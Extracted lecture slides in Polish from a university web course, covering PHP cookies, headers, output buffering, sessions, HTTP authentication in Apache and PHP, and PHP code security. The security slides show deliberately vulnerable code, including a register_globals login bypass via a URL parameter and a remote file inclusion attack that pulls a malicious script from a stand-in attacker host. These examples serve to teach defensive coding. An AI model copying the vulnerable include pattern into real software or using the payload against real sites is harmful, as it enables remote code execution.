background image

Kurs WWW

Paweł Rajba

Paweł Rajba

pawel@ii.uni.wroc.pl

http://pawel.ii.uni.wroc.pl/

background image

PHP i ciasteczka

Co to są ciasteczka (cookie)?

Jak to działa?

Kwestia buforowania

Tablica $_COOKIES[ ]

background image

PHP i ciasteczka

int setcookie( string nazwa 

[, string wartość
[, int data_ważności
[, string ścieżka
[, string domena
[, int bezpieczne]]]]])

nazwa – nazwa ciasteczka

wartość – wartość ciasteczka

background image

PHP i ciasteczka

data_ważności – do kiedy ciasteczko jest 

aktualne; liczba zwracana przez time() lub 
mktime()

ścieżka – specyfikuje URLe w domenie dla 
których ciastko jest dostępne

domena – domena dla której ciasteczko 
będzie dostępne

bezpieczne – określa, czy ciasteczko powinno 
być dostępne tylko za pomocą protokołu 

HTTPS

background image

PHP i ciasteczka

Kilka uwag dotyczących funkcji setcookie()

niektóre argumenty można pominąć podając 

napisy puste

dwóch ostatnich argumenty w powyższy 

sposób pominąć nie można

ciasteczko może być usunięte tylko z takimi 

parametrami, z jakimi zostało usunięte

ustawione cookie będą widoczne dopiero po 

przeładowaniu strony

background image

PHP i ciasteczka

Kilka uwag... c.d.

usunięcie ciasteczka odbywa się przez 

podanie wstecznej daty ważności – 
przeglądarka uruchamia wtedy mechanizm 

usunięcia ciastka

każda przeglądarka składuje cookies osobno

niekiedy przeglądarki różnie obsługują cookies

background image

PHP i ciasteczka

Tablicowa obsługa ciasteczek

setcookie ("cookie[three]", "cookiethree");
setcookie ("cookie[two]", "cookietwo");
setcookie ("cookie[one]", "cookieone");
if (isset($_COOKIE['cookie'])) {
  while (list($name, $value)=each($cookie)) 

{

    echo "$name == $value<br>\n";
  }
}

background image

PHP i ciasteczka

Przykłady:

setcookie ("ciacho", "smaczne",time()+3600, 
"/~pawel/", ".ii.uni.wroc.pl", 1);

ciacho.php

odwiedziny.php

background image

PHP i nagłówki HTTP

int header(string treść_nagłówka)

wysyła nagłówek HTTP

przykłady:

header("Location: 

http://www.onet.pl/

");

$download_size = filesize($file_server_path);
header("Content-type: application/x-download");
header("Content-Disposition: attachment; 

filename=$file_download_name;");

header("Accept-Ranges: bytes");
header("Content-Length: $download_size");
@readfile($file_server_path);

background image

PHP i nagłówki HTTP

array headers_list (void)

lista nagłówków do wysłania

bool headers_sent (void)

sprawdza, czy nagłówki zostały już wysłane

background image

PHP – buforowanie

bool ob_start ( [callback output_callback])

rozpoczęcie buforowania

bool ob_end_clean ( void )

kończy buforowanie i czyści bufor wyjściowy

bool ob_end_flush ( void )

kończy buforowanie i wypisuje zawartość

void ob_clean ( void )

czyści bufor wyjściowy

background image

PHP – buforowanie

string ob_get_clean (void)

zwraca aktualną zawartość bufora i czyści 

bufor

string ob_get_flush(void)

wypisuje zawartość bufora

zwraca go jako napis

kończy buforowanie

int ob_get_length(void)

zwraca rozmiar bufora wyjściowego

background image

PHP – buforowanie

Przykład: 

bufory.php

background image

PHP i sesje - wprowadzenie

Jak to działa?

po co to? – stan aplikacji

rola klienta i serwera

identyfikator sesji (cookie lub zmienna GET)

background image

PHP i sesje - wprowadzenie

Utworzenie sesji

Korzystanie z sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu

Serwer odsyła identyfikator

nowo utworzonej sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu
dołączając identyfikator sesji

Na serwerze

tworzona jest

nowa sesja

Na serwerze

odtwarzane

są dane sesji

background image

PHP i sesje – zestaw funkcji

string session_name ([string nazwa])

pobierz i/lub ustaw nazwę dla sesji

wywołujemy przed session_start()

używana w identyfikatorze sesji (ciastka lub 

URL, domyślnie PHPSESSID)

jeśli chcemy zmienić nazwę, to musimy ją 

wywoływać na każdej stronie – w przeciwnym 
razie od razu przywracana jest wartość z 
session.name

background image

PHP i sesje – zestaw funkcji

string session_id ([string id])

pobierz i/lub ustaw identyfikator sesji

jeżeli zmienić identyfikator bieżącej sesji, to 

musimy wywołać funkcję przed session_start()

bool session_start(void)

tworzy (lub odtwarza) sesję w oparciu o 

identyfikator sesji przekazywany przez 

COOKIE lub parametr w URL.

jeżeli używamy sesji opartych o cookies, to 

session_start() musi być wywołane przed 

wysłaniem czegokolwiek do przeglądarki

background image

PHP i sesje – zestaw funkcji

void session_write_close(void)

zapisuje dane i kończy sesję

void session_commit(void)

alias do session_write_close()

bool session_destroy(void)

niszczy sesję, nie usuwa ciasteczka

prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")

background image

PHP i sesje – przykład

licznik.php

background image

PHP i sesje – zestaw funkcji

string session_save_path([string ścieżka])

pobierz i/lub ustaw ścieżkę zapisu bieżącej 

sesji

w Foxserv domyślnie:
C:\FoxServ\sessiondata

bool session_regenerate_id(void)

tworzy nowy identyfikator dla sesji (dostępne 

od PHP 4.3.2)

background image

PHP i sesje – zestaw funkcji

string session_encode(void )

koduje dane sesji do postaci stringu

bool session_decode(string dane)

odtwarza dane sesji ze stringu

najpierw trzeba użyć session_start

void session_set_cookie_params(

int czas_życia
[, string ścieżka
[, string domena]])

ustawia parametry ciastka sesji

background image

PHP i sesje – zestaw funkcji

array session_get_cookie_params(void)

zwraca parametry ciasteczka sesji

lifetime – czas życia sesji

path – ścieżka dla sesji

domain – domena ciasteczka

secure – ciasteczko może być przesyłane tylko 

poprzez biezpieczne połączenie

background image

PHP i sesje – zmienne (cz. 1)

bool session_register(mixed nazwa

  [, mixed ...])

rejestruje zmienną globalną jako zmienną sesji

$dilbert = "Fajny komiks";
session_register("dilbert");

bool session_unregister(string nazwa)

wyjestruj zmienną z bieżącej sesji

background image

PHP i sesje – zmienne (cz. 1)

void session_unset(void)

zwalnia wszystkie zmienne sesji

bool session_is_registered(string nazwa)

sprawdza, czy zmienna jest zarejestrowana

background image

PHP i sesje – zmienne (cz. 2)

Używamy tablicy $_SESSION[ ] (w starszych 

wersjach $HTTP_SESSION_VARS[ ])

ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc"

usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"])

usunięcie wszystkich zmiennych
$_SESSION = array()

sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])

background image

PHP i sesje - przykłady

Niszczenie sesji (pierwszy sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>

background image

PHP i sesje - przykłady

Niszczenie sesji (drugi sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>

background image

PHP i sesje

Propagowanie identyfikatora w URLu

kiedy stosować?

stała SID

opcja --enable-trans-sid

opcja --enable-trans-sid, a wydajność – 

różnica ok. 10%

Zapisywanie danych sesji w bazie danych

do czego może się to przydać? (personalizacja)

funkcje session_encode() i session_decode()

background image

PHP i sesje – opcje

session.save_path

określa, gdzie będą tworzone pliki z danymi 

sesji

domyślnie: C:\FoxServ\sessiondata

session.name

określa nazwę sesji, która będzie też nazwą 
ciastka

domyślnie PHPSESSID

background image

PHP i sesje – opcje

session.auto_start

określa, czy sesja ma być uruchamiana 

automatycznie na początku wywołania

domyślnie 0 (wyłączone)

session.cookie_lifetime

określa w sekundach długość życia ciastka 

sesyjnego

0 oznacza "dopóki przeglądarka nie została 

zamknięta"

domyślnie 0

background image

PHP i sesje – opcje

session.use_cookies

określa, czy identyfikator sesji będzie po 

stronie klienta pamiętany za pomocą ciastka

domyślnie 1 (włączone)

session.use_only_cookies

określa, czy do pomiętania id sesji mają być 

wykorzystywane tylko ciastka

domyślnie 0 (ze względu na kompatybilność)

zwiększa bezpieczeństwo

background image

Kontrola dostępu do danych

Terminologia

Authentication – identyfikacja

Authorization – czy jest dostęp do zasobu

Access Control – sterowanie dostępem do 

zasobu (może zależeć od innych czynników)

background image

Autoryzacja HTTP

Rodzaje

Basic

Digest

Główna zaleta Digest – hasło nie jest 

przesyłane jawnym tekstem

background image

Autoryzacja HTTP w Apache'u

Najpierw sprawdzamy, czy apache jest 

skompilowany z modułem mod_auth.c

apache.exe -l
httpd -l

Upewniamy się, że pliku 

httpd.conf

 jest wpis

AllowOverride All

Teraz, możemy utworzyć plik .htaccess w 

każdym katalogu w którym chcemy sterować 

prawami dostepu

background image

Autoryzacja HTTP w Apache'u

Przykładowa zawartość pliku 

.htaccess

<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>

Pominięcie znacznika Files sprawi, że chroniona 
będzie cała zawartość katalogu

background image

Autoryzacja HTTP w Apache'u

Na końcu tworzymy użytkownika

htpasswd -c users pawel
htpasswd users john

istotne, żeby pliku z użytkownikami nie 
trzymać w miejscu dostępnym z przeglądarki

background image

Autoryzacja HTTP w Apache'u

Podsumowanie

wystarcza przy mało wymagającej autoryzacji

ograniczenia przy zarządzaniu użytkownikami

interfejs przeglądarki

wylogowanie poprzez wyłączenie przeglądarki

konieczność ingerencji w konfigurację serwera

background image

Autoryzacja HTTP w PHP

Kilka uwag na początek:

obsługiwana tylko wtedy, gdy PHP działa jako 

moduł Apache (jako CGI – nie działa)

obecnie obsługiwana jest tylko autoryzacja 

typu Basic

po wysłaniu nagłówków, użytkownik wpisuje 

dane użytkownika i hasło, które są 
przekazywane w zmiennych

$_SERVER['PHP_AUTH_USER']

$_SERVER['PHP_AUTH_PW']

background image

Autoryzacja HTTP w PHP

Przykład: 

httpauth.php

background image

Autoryzacja – sesje w PHP 

Etapy dostępu do danych

Logowanie

pobranie danych użytkownika (login + hasło)

weryfikacja

odnotowanie faktu weryfikacji w logach

rozpoczęcie sesji

background image

Autoryzacja – sesje w PHP

Etapy dostępu do danych

Użycie sesji

podtrzymanie sesji

ponowna weryfikacja uprawnień

Wylogowanie

zakończenie sesji

odnotowanie faktu w logach

usunięcie danych związanych z sesją (ważne)

background image

Autoryzacja – sesje w PHP

Przykład: 

login.php

 i 

pokaz.php

background image

Autoryzacja – sesje w PHP

Sprawdzanie hasła:

jak w przykładzie

na podstawie pliku tekstowego

na podstawie bazy danych

W miarę możliwości nigdzie nie trzymamy 

haseł w postaci jawnej

background image

Autoryzacja – sesje w PHP

Zalety przechowywania haseł w pliku

dobre dla obsługi kilku użytkowników

łatwa obsługa

nie wymagają dodatkowego oprogramowania

Zalety przechowywania haseł w bazie danych

możliwość obsługi bardzo wielu użytkowników

szybszy dostęp

lepsze zarządzanie zawartością

większe bezpieczeństwo

background image

Autoryzacja – sesje w PHP

Przesyłanie hasła

jawny tekst

szyfrogram md5 (obliczany po stronie klienta)

background image

Bezpieczeństwo kodu PHP

Opcja 

register_globals

 w php.ini

jej włączenie powoduje, że wszystkie dane 

pochodzące od użytkownika są dostępne z 

poziomu zmiennej (POST, GET, COOKIE, ...)

powinna być wyłączona (Off) i tak jest 

domyślnie

Przykład (login.php):

<?php
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

background image

Bezpieczeństwo kodu PHP

A teraz uruchamiamy skrypt

login.php?auth=true

Przykład: (login.php ulepszony)

<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

background image

Bezpieczeństwo kodu PHP

Raportowanie błędów – error_reporting()

podczas pisania skryptów, testowania należy 

włączyć raportowanie
error_reporting(E_ALL)

przy wdrażaniu aplikacji należy wszystkie 
raportowania bezwzględnie powyłączać
error_reporting(0)

background image

Bezpieczeństwo kodu PHP

Weryfikacja danych pochodzących od 

użytkownika

sprawdzić należy wszystkie dane w 

szczególności pod kątem

typ danych

zawartość

długość

akceptujemy te tylko dane, których się 

spodziewaliśmy

nigdy nie polegamy na weryfikacji po stronie 

klienta

background image

Bezpieczeństwo kodu PHP

W jaki sposób weryfikować?

sprawdzić typy

skorzystać z wyrażeń regularnych

sprawdzić wielkość

sprawdzić zbiór dopuszczalnych wartości

...

background image

Bezpieczeństwo kodu PHP

Przykład:

<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>

i agresor robi tak:

skrypt.php?plik=http://agresor.pl/zlosliwy.php

background image

Bezpieczeństwo kodu PHP

Wszystkie pliki PHP powinny być przez 

serwer parsowane

jeżeli dajemy rozszerzenie 

.inc

, to musimy się 

upewnić, że pliki z tym rozszerzeniem są 
interpretowane

Nie należy dawać możliwości oglądnięcia 

wyniku działania funkcji 

phpinfo()

background image

Bezpieczeństwo kodu PHP

Upload plików

należy upewniać się, że upload pliku 

faktycznie miał miejsce – służą do tego 
funkcje

is_uploaded_file()

move_uploaded_file()

background image

Bezpieczeństwo kodu PHP

Tryb bezpieczny (safe_mode)

jeśli możliwe, należy z tego korzystać, chociaż 

lepiej dobrze skonfigurować serwer WWW

skrypt ma dostęp tylko to tych plików których 

właścicielem jest właściciel skryptu

background image

Bezpieczeństwo kodu PHP

Dyrektywy odpowiedzialne za tryb bezpieczny

safe_mode = Off

safe_mode_gid = 0

safe_mode_include_dir =

safe_mode_exec_dir =

open_basedir =

safe_mode_allowed_env_vars = PHP_

safe_mode_protected_env_vars = 

LD_LIBRARY_PATH

disable_functions =

background image

Bezpieczeństwo kodu PHP

Ukrywanie rozszerzeń

dodajemy w pliku httpd.conf
(ewentualnie .htaccess)

AddType application/x-httpd-php .htm .html

Ukrywanie hasła do bazy danych (plik httpd.conf)

<Directory "C:\Foxserv\www\test">
php_admin_value open_basedir C:\Foxserv\www\test
php_admin_value disable_functions a3js8ge4a2
</Directory>
<?php
echo ini_get("disabled_functions"); 
?>